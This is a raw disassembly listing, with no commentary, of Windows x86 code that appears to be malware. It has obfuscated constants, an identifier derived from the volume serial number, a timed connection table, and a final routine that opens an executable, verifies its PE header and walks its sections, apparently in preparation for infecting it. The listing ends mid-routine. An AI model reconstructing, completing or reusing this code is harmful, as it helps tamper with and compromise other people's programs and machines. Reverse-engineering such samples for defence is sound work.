movsx esi, word_44B100
add edi, esi
sub edi, 11h
push edi
push eax
lea edi, [ebp+var_10043]
push edi
call sub_43D744
add esp, 10h
mov esi, dword_44B0F8
add esi, 0FFF4h
movsx edx, word_44B0F4
add esi, edx
cmp eax, esi
jz short loc_43B9E3
mov [ebp+var_10059], 43h
loc_43B9E3: ; CODE XREF: sub_43B780+25Aj
push offset dword_44C600
call sub_4424C1
mov edi, dword_44B158
add edi, dword_44B0A4
dec edi
push edi
push eax
lea edi, [ebp+var_10043]
push edi
call sub_43D744
add esp, 10h
mov esi, dword_44B18C
add esi, dword_44B1CC
dec esi
mov edi, eax
add edi, esi
mov [ebp+var_10068], edi
mov [ebp+var_10054], edi
loc_43BA28: ; CODE XREF: sub_43B780+2BEj
mov eax, [ebp+var_10054]
cmp [ebp+eax+var_10043], 26h
jz short loc_43BA40
inc [ebp+var_10054]
jmp short loc_43BA28
; ---------------------------------------------------------------------------
loc_43BA40: ; CODE XREF: sub_43B780+2B6j
mov eax, [ebp+var_10054]
mov edx, dword_44B09C
add edx, dword_44B0A8
sub edx, 0Bh
mov [ebp+eax+var_10043], dl
mov eax, [ebp+var_10068]
lea eax, [ebp+eax+var_10043]
push eax
call ds:dword_445054
mov [ebp+var_10080], eax
push offset byte_44C5F9
call sub_4424C1
mov edi, dword_44B184
mov esi, edi
add esi, edi
mov edi, esi
sub edi, 0Bh
push edi
push eax
lea edi, [ebp+var_10043]
push edi
call sub_43D744
add esp, 14h
mov esi, dword_44B14C
add esi, dword_44B118
sub esi, 4
mov edi, eax
add edi, esi
mov [ebp+var_10068], edi
mov [ebp+var_10054], edi
loc_43BABF: ; CODE XREF: sub_43B780+355j
mov eax, [ebp+var_10054]
cmp [ebp+eax+var_10043], 26h
jz short loc_43BAD7
inc [ebp+var_10054]
jmp short loc_43BABF
; ---------------------------------------------------------------------------
loc_43BAD7: ; CODE XREF: sub_43B780+34Dj
mov eax, [ebp+var_10054]
mov edx, dword_44B158
add edx, dword_44B174
sub edx, 9
mov [ebp+eax+var_10043], dl
mov eax, [ebp+var_10068]
lea eax, [ebp+eax+var_10043]
push eax
call ds:dword_445054
pop ecx
mov [ebp+var_10060], eax
mov eax, dword_44B12C
sub eax, 5
cmp [ebp+var_10080], eax
ja short loc_43BB83
movsx eax, word_44B16C
sub eax, 4
mov [ebp+var_1004C], eax
jmp short loc_43BB71
; ---------------------------------------------------------------------------
loc_43BB30: ; CODE XREF: sub_43B780+401j
mov edi, [ebp+var_1004C]
mov esi, edi
shl esi, 2
cmp ds:dword_446130[esi], 0
jz short loc_43BB6B
mov edx, [ebp+var_10060]
cmp ds:dword_445060[esi], edx
jnz short loc_43BB6B
mov dl, ds:byte_447200[edi]
cmp dl, [ebp+var_10059]
jnz short loc_43BB6B
and ds:dword_446130[edi*4], 0
loc_43BB6B: ; CODE XREF: sub_43B780+3C3j
; sub_43B780+3D2j ...
inc [ebp+var_1004C]
loc_43BB71: ; CODE XREF: sub_43B780+3AEj
mov eax, dword_44B1B0
add eax, 3E8h
cmp [ebp+var_1004C], eax
jb short loc_43BB30
loc_43BB83: ; CODE XREF: sub_43B780+39Cj
call ds:dword_44A770 ; GetTickCount
mov [ebp+var_10064], eax
movsx eax, word_44B0B0
sub eax, 8
mov [ebp+var_10050], eax
jmp short loc_43BBFD
; ---------------------------------------------------------------------------
loc_43BBA1: ; CODE XREF: sub_43B780+48Fj
mov edi, [ebp+var_10050]
shl edi, 2
cmp ds:dword_446130[edi], 0
jz short loc_43BBF7
mov edi, ds:dword_449660[edi]
mov esi, dword_44B0D4
add esi, 0EA5Ch
add esi, dword_44B104
mov edx, dword_44B098
add edx, dword_44B0F8
sub edx, 4
imul esi, edx
add edi, esi
cmp edi, [ebp+var_10064]
jnb short loc_43BBF7
mov edi, [ebp+var_10050]
and ds:dword_446130[edi*4], 0
loc_43BBF7: ; CODE XREF: sub_43B780+432j
; sub_43B780+467j
inc [ebp+var_10050]
loc_43BBFD: ; CODE XREF: sub_43B780+41Fj
movsx eax, word_44B0C8
add eax, 3E1h
cmp [ebp+var_10050], eax
jb short loc_43BBA1
movsx eax, word_44B0DC
mov edx, eax
add edx, eax
mov eax, edx
sub eax, 0Ch
mov [ebp+var_10058], eax
jmp short loc_43BC3F
; ---------------------------------------------------------------------------
loc_43BC29: ; CODE XREF: sub_43B780+4D1j
mov edi, [ebp+var_10058]
cmp ds:dword_446130[edi*4], 0
jz short loc_43BC53
inc [ebp+var_10058]
loc_43BC3F: ; CODE XREF: sub_43B780+4A7j
mov eax, dword_44B0C0
lea eax, [eax+eax+3E6h]
cmp [ebp+var_10058], eax
jb short loc_43BC29
loc_43BC53: ; CODE XREF: sub_43B780+4B7j
mov edi, [ebp+var_10058]
mov esi, [ebp+var_10060]
mov ds:dword_445060[edi*4], esi
mov eax, edi
mov dl, [ebp+var_10059]
mov ds:byte_447200[eax], dl
mov eax, dword_44B1AC
sub eax, 4
cmp [ebp+var_10080], eax
jbe loc_43BD29
movsx esi, word_44B148
mov edx, dword_44B09C
lea esi, [esi+edx+0FFF4h]
mov ds:word_447A50[edi*2], si
movsx eax, word_44B19C
sub eax, 6
mov [ebp+var_10088], eax
jmp short loc_43BD15
; ---------------------------------------------------------------------------
loc_43BCB7: ; CODE XREF: sub_43B780+5A5j
mov edi, [ebp+var_10088]
mov esi, edi
shl esi, 2
cmp ds:dword_446130[esi], 0
jz short loc_43BD0F
movzx edx, ds:word_447A50[edi*2]
movsx ecx, word_44B090
add ecx, 0FFFEh
cmp edx, ecx
jz short loc_43BD0F
mov edx, [ebp+var_10060]
cmp ds:dword_445060[esi], edx
jnz short loc_43BD0F
mov dl, ds:byte_447200[edi]
cmp dl, [ebp+var_10059]
jnz short loc_43BD0F
lea edi, ds:447A50h[edi*2]
inc word ptr [edi]
jmp short loc_43BD40
; ---------------------------------------------------------------------------
loc_43BD0F: ; CODE XREF: sub_43B780+54Aj
; sub_43B780+563j ...
inc [ebp+var_10088]
loc_43BD15: ; CODE XREF: sub_43B780+535j
mov eax, dword_44B0FC
add eax, 3E1h
cmp [ebp+var_10088], eax
jb short loc_43BCB7
jmp short loc_43BD40
; ---------------------------------------------------------------------------
loc_43BD29: ; CODE XREF: sub_43B780+503j
mov edi, [ebp+var_10058]
mov esi, dword_44B0FC
sub esi, 6
mov ds:word_447A50[edi*2], si
loc_43BD40: ; CODE XREF: sub_43B780+58Dj
; sub_43B780+5A7j
call ds:dword_44A770 ; GetTickCount
mov edi, [ebp+var_10058]
mov ds:dword_449660[edi*4], eax
lea esi, off_44B294
mov ds:dword_446130[edi*4], esi
mov edi, [ebp+var_10058]
lea edi, ds:446130h[edi*4]
mov [ebp+var_10084], edi
mov eax, edi
push eax
mov esi, [eax]
call dword ptr [esi+4]
mov [ebp+var_10078], 9
mov edi, [ebp+var_10058]
lea edi, ds:446130h[edi*4]
mov [ebp+var_10070], edi
lea esi, [ebp+var_10078]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_1007C]
push edi
mov edi, [edi]
call dword ptr [edi+0A4h]
mov ebx, eax
inc [ebp+var_10058]
lea eax, [ebp+var_10078]
push eax
call ds:dword_44ABB0
mov eax, [ebp+var_1007C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43BDD9: ; CODE XREF: sub_43B780+143j
; sub_43B780+150j ...
cmp [ebp+var_10048], 0
jz short loc_43BDEE
mov eax, [ebp+var_10048]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43BDEE: ; CODE XREF: sub_43B780+660j
cmp [ebp+var_4], 0
jz short loc_43BDFD
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43BDFD: ; CODE XREF: sub_43B780+10Fj
; sub_43B780+672j
inc [ebp+var_1C]
loc_43BE00: ; CODE XREF: sub_43B780+BFj
mov eax, [ebp+var_28]
cmp [ebp+var_1C], eax
jb loc_43B844
loc_43BE0C: ; CODE XREF: sub_43B780+A8j
mov eax, [ebp+var_24]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43BE15: ; CODE XREF: sub_43B780+7Ej
mov eax, [ebp+var_2C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
xor eax, eax
loc_43BE20: ; CODE XREF: sub_43B780+57j
; sub_43B780+1D9j
pop edi
pop esi
pop ebx
leave
retn
sub_43B780 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BE25 proc near ; CODE XREF: sub_43A33B+2p
; sub_43A33B+9p
var_104 = byte ptr -104h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push edi
lea eax, [ebp+var_104]
push eax
mov eax, dword_44B104
sub eax, 3
push eax
push 0
push [ebp+arg_0]
push 0
call ds:dword_447A44
mov edi, eax
or edi, edi
jnz short loc_43BE7D
push offset dword_44C5F4
call sub_4424C1
push eax
lea edi, [ebp+var_104]
push edi
call ds:dword_445020
push 1
push 43h
lea eax, [ebp+var_104]
push eax
call sub_4438E7
add esp, 18h
loc_43BE7D: ; CODE XREF: sub_43BE25+2Bj
pop edi
leave
retn
sub_43BE25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BE80 proc near ; CODE XREF: sub_43B3A7+3Cp
; sub_43B3A7+BCp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
movzx ebx, byte ptr [eax]
movsx eax, word_44B154
add eax, 0F8h
imul ebx, eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+1]
add ebx, eax
mov eax, dword_44B13C
add eax, 0FAh
add eax, dword_44B1CC
imul ebx, eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+2]
add ebx, eax
mov eax, dword_44B098
mov esi, eax
add esi, dword_44B1A4
sub esi, 7
jmp short loc_43BF23
; ---------------------------------------------------------------------------
loc_43BED3: ; CODE XREF: sub_43BE80+B6j
mov edi, dword_44B1A0
add edi, dword_44B0D4
sub edi, 4
sub edi, esi
mov edx, [ebp+arg_4]
mov [ebp+var_4], edx
mov edx, ebx
and edx, 8000003Fh
jge short loc_43BEF9
dec edx
or edx, 0FFFFFFC0h
inc edx
loc_43BEF9: ; CODE XREF: sub_43BE80+72j
mov ecx, off_44B1FC
mov dl, [ecx+edx]
mov ecx, [ebp+var_4]
mov [ecx+edi], dl
mov eax, ebx
mov edi, dword_44B104
add edi, 36h
mov ecx, edi
add ecx, dword_44B10C
cdq
idiv ecx
mov ebx, eax
add esi, 1
loc_43BF23: ; CODE XREF: sub_43BE80+51j
mov eax, dword_44B118
movsx edx, word_44B0D8
add eax, edx
sub eax, 2
cmp esi, eax
jl short loc_43BED3
pop edi
pop esi
pop ebx
leave
retn
sub_43BE80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BF3D proc near ; CODE XREF: sub_43D8A3+B7p
; sub_43D8A3+109p
var_7 = byte ptr -7
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov byte ptr [ebx], 0
mov ecx, esi
or eax, 0FFFFFFFFh
loc_43BF53: ; CODE XREF: sub_43BF3D+1Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43BF53
mov [ebp+var_4], eax
movsx eax, word_44B1BC
mov edi, eax
add edi, dword_44B144
sub edi, 0Bh
jmp short loc_43BFDB
; ---------------------------------------------------------------------------
loc_43BF71: ; CODE XREF: sub_43BF3D+A1j
movzx eax, [ebp+arg_8]
cmp edi, eax
jb short loc_43BF84
mov al, [esi+edi]
cmp al, 2Fh
jz short loc_43BF84
cmp al, 2Eh
jnz short loc_43BF9D
loc_43BF84: ; CODE XREF: sub_43BF3D+3Aj
; sub_43BF3D+41j
movzx eax, byte ptr [esi+edi]
push eax
push offset byte_44C5F1
lea eax, [ebp+var_7]
push eax
call ds:dword_44A634
add esp, 0Ch
jmp short loc_43BFCC
; ---------------------------------------------------------------------------
loc_43BF9D: ; CODE XREF: sub_43BF3D+45j
push offset dword_44C5EC
call sub_4424C1
push eax
push ebx
call ds:dword_445020
push offset dword_44C5E4
call sub_4424C1
movzx edx, byte ptr [esi+edi]
push edx
push eax
lea edx, [ebp+var_7]
push edx
call ds:dword_44A634
add esp, 1Ch
loc_43BFCC: ; CODE XREF: sub_43BF3D+5Ej
lea eax, [ebp+var_7]
push eax
push ebx
call ds:dword_445020
add esp, 8
inc edi
loc_43BFDB: ; CODE XREF: sub_43BF3D+32j
cmp edi, [ebp+var_4]
jb short loc_43BF71
pop edi
pop esi
pop ebx
leave
retn
sub_43BF3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BFE5 proc near ; CODE XREF: sub_43ADAC+24p
; sub_43B182+25p ...
var_10D = byte ptr -10Dh
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push edi
mov edi, [ebp+arg_0]
push 104h
lea eax, [ebp+var_108]
push eax
call ds:dword_4475FC ; GetSystemDirectoryA
movsx eax, word_44B0D8
add eax, dword_44B178
movsx edx, word_44B170
sub edx, 8
mov [ebp+eax+var_10D], dl
push 104h
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_10C]
push eax
push 104h
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_108]
push eax
call ds:dword_44A614 ; GetVolumeInformationA
push offset dword_44C5DC
call sub_4424C1
push [ebp+var_10C]
push eax
push edi
call ds:dword_44A634
add esp, 10h
movsx eax, word_44B0B0
sub eax, 8
mov [ebp+var_4], eax
jmp short loc_43C0AF
; ---------------------------------------------------------------------------
loc_43C080: ; CODE XREF: sub_43BFE5+D8j
mov eax, [ebp+var_4]
mov al, [edi+eax]
cmp al, 30h
jl short loc_43C096
cmp al, 39h
jg short loc_43C096
mov eax, [ebp+var_4]
add eax, edi
add byte ptr [eax], 31h
loc_43C096: ; CODE XREF: sub_43BFE5+A3j
; sub_43BFE5+A7j
mov eax, [ebp+var_4]
mov al, [edi+eax]
cmp al, 41h
jl short loc_43C0AC
cmp al, 5Ah
jg short loc_43C0AC
mov eax, [ebp+var_4]
add eax, edi
add byte ptr [eax], 20h
loc_43C0AC: ; CODE XREF: sub_43BFE5+B9j
; sub_43BFE5+BDj
inc [ebp+var_4]
loc_43C0AF: ; CODE XREF: sub_43BFE5+99j
mov eax, dword_44B0B8
add eax, dword_44B0A0
cmp [ebp+var_4], eax
jb short loc_43C080
pop edi
leave
retn
sub_43BFE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C0C2 proc near ; DATA XREF: .data:off_44B2B4o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_8]
push offset dword_44C96C
push esi
call ds:dword_44A644
or eax, eax
jz short loc_43C0EE
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43C136
; ---------------------------------------------------------------------------
loc_43C0EE: ; CODE XREF: sub_43C0C2+1Aj
push offset dword_44C8EC
push esi
call ds:dword_44A644
or eax, eax
jz short loc_43C10E
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43C136
; ---------------------------------------------------------------------------
loc_43C10E: ; CODE XREF: sub_43C0C2+3Aj
push offset dword_44C8BC
push esi
call ds:dword_44A644
or eax, eax
jz short loc_43C12E
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43C136
; ---------------------------------------------------------------------------
loc_43C12E: ; CODE XREF: sub_43C0C2+5Aj
and dword ptr [edi], 0
mov eax, 80004002h
loc_43C136: ; CODE XREF: sub_43C0C2+2Aj
; sub_43C0C2+4Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_43C0C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C13D proc near ; DATA XREF: .data:0044B2DCo
push ebp
mov ebp, esp
push offset dword_447604
call ds:dword_447A3C ; InterlockedIncrement
mov eax, ds:dword_447604
pop ebp
retn 4
sub_43C13D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C154 proc near ; CODE XREF: sub_443589+147p
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1000h
call sub_444B40
push ebx
push esi
push edi
mov eax, dword_44B184
sub eax, 6
push eax
lea eax, [ebp+var_FFF]
push eax
call sub_441FCC
add esp, 8
mov eax, dword_44B0A4
mov edi, eax
add edi, dword_44B0E4
sub edi, 4
jmp short loc_43C1B0
; ---------------------------------------------------------------------------
loc_43C18E: ; CODE XREF: sub_43C154+62j
cmp [ebp+edi+var_FFF], 23h
jnz short loc_43C1AF
movsx eax, word_44B090
add eax, dword_44B1A0
sub eax, 7
mov [ebp+edi+var_FFF], al
loc_43C1AF: ; CODE XREF: sub_43C154+42j
inc edi
loc_43C1B0: ; CODE XREF: sub_43C154+38j
cmp edi, 0FFFh
jb short loc_43C18E
lea esi, [ebp+var_FFF]
loc_43C1BE: ; CODE XREF: sub_43C154+F7j
push offset dword_44C5D8
call sub_4424C1
push offset dword_446020
mov ebx, dword_44B0F0
add ebx, dword_44B0C0
sub ebx, 5
push ebx
mov ebx, dword_44B190
sub ebx, 3
push ebx
push eax
movsx ebx, word_44B0DC
add ebx, dword_44B1C8
sub ebx, 8
push ebx
push 0
push esi
push [ebp+arg_0]
mov ebx, dword_44B0B8
sub ebx, 2
and ebx, 0FFh
push ebx
call sub_43D8A3
add esp, 28h
mov ecx, esi
or eax, 0FFFFFFFFh
loc_43C21C: ; CODE XREF: sub_43C154+CDj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43C21C
mov edx, dword_44B158
movsx ecx, word_44B1BC
add edx, ecx
sub edx, 5
mov ebx, eax
add ebx, esi
mov esi, edx
add esi, ebx
movsx eax, byte ptr [esi]
mov edx, dword_44B1AC
sub edx, 4
cmp eax, edx
jnz loc_43C1BE
pop edi
pop esi
pop ebx
leave
retn
sub_43C154 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_43C256 proc near ; DATA XREF: sub_43B52C+12Fo
push ebp
mov ebp, esp
loc_43C259: ; CODE XREF: sub_43C256+25j
call sub_43ED61
mov eax, dword_44B190
dec eax
mov edx, dword_44B10C
add edx, 0EA59h
imul eax, edx
push eax
call ds:dword_44A630
pop ecx
jmp short loc_43C259
sub_43C256 endp
; ---------------------------------------------------------------------------
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C281 proc near ; CODE XREF: sub_442E96+289p
var_54 = byte ptr -54h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 54h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_4]
add eax, 40h
jge short loc_43C298
add eax, 3Fh
loc_43C298: ; CODE XREF: sub_43C281+12j
sar eax, 6
mov edi, eax
shl edi, 6
push edi
call sub_441077
pop ecx
mov [ebp+var_14], eax
mov edi, [ebp+arg_4]
mov edx, dword_44B0C4
add edx, 3Ch
mov eax, edi
add eax, edx
jge short loc_43C2BF
add eax, 3Fh
loc_43C2BF: ; CODE XREF: sub_43C281+39j
sar eax, 6
mov edi, dword_44B1C8
add edi, 3Eh
mov edx, eax
imul edx, edi
push edx
push [ebp+var_14]
call ds:dword_44502C ; RtlZeroMemory
push [ebp+arg_4]
push esi
push [ebp+var_14]
call ds:dword_449634
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
call sub_444236
mov esi, [ebp+var_14]
mov eax, dword_44B188
movsx edx, word_44B194
mov ebx, eax
add ebx, edx
jmp short loc_43C327
; ---------------------------------------------------------------------------
loc_43C308: ; CODE XREF: sub_43C281+C0j
push esi
lea eax, [ebp+var_10]
push eax
call sub_44425D
mov eax, dword_44B0A8
add eax, 37h
movsx edx, word_44B180
add eax, edx
lea esi, [esi+eax]
inc ebx
loc_43C327: ; CODE XREF: sub_43C281+85j
mov edi, [ebp+arg_4]
movsx edx, word_44B0BC
lea eax, [edi+edx+37h]
test eax, eax
jge short loc_43C33C
add eax, 3Fh
loc_43C33C: ; CODE XREF: sub_43C281+B6j
sar eax, 6
cmp ebx, eax
jl short loc_43C308
push [ebp+var_14]
call sub_443565
lea eax, [ebp+var_54]
push eax
push [ebp+arg_8]
call sub_43AF9B
mov eax, dword_44B0E4
add eax, 0Eh
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
call ds:dword_44A648
add esp, 18h
mov edi, dword_44B140
sub edi, 8
cmp eax, edi
jz short loc_43C383
xor eax, eax
inc eax
jmp short loc_43C385
; ---------------------------------------------------------------------------
loc_43C383: ; CODE XREF: sub_43C281+FBj
xor eax, eax
loc_43C385: ; CODE XREF: sub_43C281+100j
pop edi
pop esi
pop ebx
leave
retn
sub_43C281 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C38A proc near ; CODE XREF: sub_442A46+1B1p
var_3200C = dword ptr -3200Ch
var_32008 = dword ptr -32008h
var_32004 = byte ptr -32004h
var_32003 = byte ptr -32003h
var_31FFD = byte ptr -31FFDh
var_31F54 = dword ptr -31F54h
var_31F50 = dword ptr -31F50h
var_31F4C = dword ptr -31F4Ch
var_31F48 = dword ptr -31F48h
var_31F44 = dword ptr -31F44h
var_31F40 = dword ptr -31F40h
var_31F3C = dword ptr -31F3Ch
var_31F38 = dword ptr -31F38h
var_31F34 = dword ptr -31F34h
var_31F30 = dword ptr -31F30h
var_31F2C = dword ptr -31F2Ch
var_31F28 = dword ptr -31F28h
var_31F24 = dword ptr -31F24h
var_31F20 = dword ptr -31F20h
var_31F1C = dword ptr -31F1Ch
var_31F18 = dword ptr -31F18h
var_31F14 = dword ptr -31F14h
var_31F10 = dword ptr -31F10h
var_31F0C = dword ptr -31F0Ch
var_31F08 = dword ptr -31F08h
var_31F04 = dword ptr -31F04h
var_31F00 = dword ptr -31F00h
var_31EFC = dword ptr -31EFCh
var_31EF8 = dword ptr -31EF8h
var_31EF4 = dword ptr -31EF4h
var_31EF0 = dword ptr -31EF0h
var_31EEC = dword ptr -31EECh
var_31EE8 = dword ptr -31EE8h
var_31EE4 = dword ptr -31EE4h
var_31EE0 = dword ptr -31EE0h
var_31EDC = dword ptr -31EDCh
var_31ED8 = dword ptr -31ED8h
var_31ED4 = dword ptr -31ED4h
var_31ED0 = byte ptr -31ED0h
var_31EC3 = byte ptr -31EC3h
var_1190 = dword ptr -1190h
var_118C = dword ptr -118Ch
var_1188 = dword ptr -1188h
var_1184 = dword ptr -1184h
var_1180 = dword ptr -1180h
var_117C = dword ptr -117Ch
var_1178 = dword ptr -1178h
var_1174 = dword ptr -1174h
var_116F = byte ptr -116Fh
var_1070 = dword ptr -1070h
var_106C = dword ptr -106Ch
var_1068 = dword ptr -1068h
var_1064 = dword ptr -1064h
var_1060 = dword ptr -1060h
var_105C = dword ptr -105Ch
var_1058 = dword ptr -1058h
var_1054 = dword ptr -1054h
var_1050 = dword ptr -1050h
var_C54 = dword ptr -0C54h
var_C50 = dword ptr -0C50h
var_C4C = dword ptr -0C4Ch
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_434 = dword ptr -434h
var_430 = dword ptr -430h
var_42C = dword ptr -42Ch
var_428 = dword ptr -428h
var_424 = dword ptr -424h
var_420 = dword ptr -420h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 3200Ch
call sub_444B40
push ebx
push esi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_31EC3]
push eax
call ds:dword_449634
add esp, 0Ch
push 0
push dword_44B164
push 3
push 0
mov eax, dword_44B0A0
sub eax, 4
push eax
push 0C0000001h
push [ebp+arg_0]
call ds:dword_44A788 ; CreateFileA
mov [ebp+var_1070], eax
cmp eax, 0FFFFFFFFh
jnz short loc_43C3E5
xor eax, eax
jmp loc_43D73F
; ---------------------------------------------------------------------------
loc_43C3E5: ; CODE XREF: sub_43C38A+52j
push 0
push [ebp+var_1070]
call ds:dword_44A624 ; GetFileSize
mov [ebp+var_10], eax
mov edx, [ebp+arg_8]
lea eax, [eax+edx+1FFFFh]
push eax
push 0
call ds:dword_447A34 ; LocalAlloc
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_31ED8]
push eax
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_1070]
call ds:dword_445028 ; ReadFile
mov eax, [ebp+var_4]
mov eax, [eax+3Ch]
mov [ebp+var_840], eax
mov eax, [ebp+var_31ED8]
sub eax, 0F8h
cmp [ebp+var_840], eax
ja loc_43D728
mov eax, [ebp+var_840]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jnz loc_43D728
mov eax, [ebp+var_8]
movzx eax, word ptr [eax+5Ch]
mov edx, dword_44B0E4
movsx ecx, word_44B180
add edx, ecx
sub edx, 7
cmp eax, edx
jz loc_43D728
mov eax, [ebp+var_8]
movzx edx, word ptr [eax+44h]
movsx ecx, word_44B0DC
add ecx, 7
cmp edx, ecx
jnz short loc_43C4AF
mov edx, dword_44B158
add edx, 8
mov [eax+1Ah], dl
cmp dl, 0
jnz loc_43D728
loc_43C4AF: ; CODE XREF: sub_43C38A+10Ej
mov eax, [ebp+var_8]
mov eax, [eax+80h]
mov [ebp+var_430], eax
mov eax, 28h
mov [ebp+var_31EE8], eax
mov edx, [ebp+var_8]
mov [ebp+var_31EF0], edx
mov ecx, [ebp+var_840]
add ecx, 0F8h
mov [ebp+var_31EEC], eax
movzx edi, word ptr [edx+6]
mul edi
mov [ebp+var_31EF4], eax
mov edx, ecx
add edx, eax
mov [ebp+var_31EFC], edx
mov eax, [ebp+var_31EE8]
mov [ebp+var_31EF8], eax
mov ecx, dword_44B0AC
inc ecx
add ecx, dword_44B108
mul ecx
mov [ebp+var_31F00], eax
mov eax, [ebp+var_31EFC]
mov edx, [ebp+var_31F00]
add eax, edx
mov edx, [ebp+var_31EF0]
add eax, [edx+0D4h]
cmp eax, [edx+54h]
ja loc_43D728
mov eax, dword_44B1C4
sub eax, 5
mov [ebp+var_20], eax
movsx eax, word_44B170
add eax, dword_44B144
sub eax, 0Dh
mov [ebp+var_C54], eax
movsx eax, word_44B0E0
add eax, dword_44B1B4
dec eax
mov [ebp+var_105C], eax
movsx eax, word_44B170
sub eax, 8
mov [ebp+var_434], eax
jmp loc_43C64A
; ---------------------------------------------------------------------------
loc_43C588: ; CODE XREF: sub_43C38A+2CDj
mov eax, 28h
mul [ebp+var_434]
mov [ebp+var_31F0C], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F0C]
mov esi, edx
add esi, eax
mov eax, [esi+0Ch]
add eax, [esi+8]
mov [ebp+var_31F04], eax
mov eax, [esi+14h]
add eax, [esi+10h]
mov [ebp+var_31F08], eax
mov eax, [ebp+var_20]
cmp [ebp+var_31F04], eax
jbe short loc_43C5DF
mov eax, [ebp+var_31F04]
mov [ebp+var_20], eax
loc_43C5DF: ; CODE XREF: sub_43C38A+24Aj
mov eax, [ebp+var_C54]
cmp [ebp+var_31F08], eax
jbe short loc_43C5F9
mov eax, [ebp+var_31F08]
mov [ebp+var_C54], eax
loc_43C5F9: ; CODE XREF: sub_43C38A+261j
mov eax, [ebp+var_8]
mov eax, [eax+0A8h]
cmp eax, [esi+0Ch]
jb short loc_43C624
cmp eax, [ebp+var_31F04]
jnb short loc_43C624
mov eax, [esi+14h]
mov edx, [ebp+var_8]
add eax, [edx+0A8h]
sub eax, [esi+0Ch]
mov [ebp+var_105C], eax
loc_43C624: ; CODE XREF: sub_43C38A+27Bj
; sub_43C38A+283j
mov eax, [ebp+var_430]
mov edx, [esi+0Ch]
cmp eax, edx
jb short loc_43C644
add edx, [esi+8]
cmp eax, edx
jnb short loc_43C644
sub eax, [esi+0Ch]
add eax, [esi+14h]
mov [ebp+var_848], eax
loc_43C644: ; CODE XREF: sub_43C38A+2A5j
; sub_43C38A+2ACj
inc [ebp+var_434]
loc_43C64A: ; CODE XREF: sub_43C38A+1F9j
mov eax, [ebp+var_8]
movzx eax, word ptr [eax+6]
cmp [ebp+var_434], eax
jb loc_43C588
mov eax, dword_44B0A8
add eax, 0FFDh
push eax
push [ebp+var_20]
call sub_43DDCD
add esp, 8
